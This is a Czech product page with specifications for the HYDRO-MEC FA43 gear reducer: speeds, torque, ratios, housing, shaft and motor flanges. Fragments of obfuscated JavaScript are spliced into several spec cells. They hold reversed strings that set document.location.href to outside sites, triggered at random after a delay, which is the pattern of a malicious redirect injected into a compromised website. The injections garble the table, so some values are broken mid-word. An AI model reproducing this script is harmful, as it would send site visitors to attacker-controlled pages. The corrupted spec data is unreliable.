HYDRO-MEC FA43
| Typ: | FA43 |
| Výstupní otáčky: | 3,9 – 18,8 min-1 (n1 = 1400 min-1) |
| Výstupní toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}točivý moment: | 320 Nm |
| Převotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dový poměr: | 74,33 – 356,09 : 1 |
| Materiál skříně: | hliník |
| Výstupní dutá hřídel: | Ø30 mm*, Ø35 mm (*sttoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}antoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andard) |
| Mazání: | syntetický olej |
| Velikost motoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}torové příruby IEC: | 56B14 / 63B14 / 71B14 / 63B5 / 71B5 |
Dokumentace:
Katalogový list ploché FA43
1 soubor(y) 240.60 KB
Seznam ND FA43
1 soubor(y) 221.79 KB

Reviews
There are no reviews yet.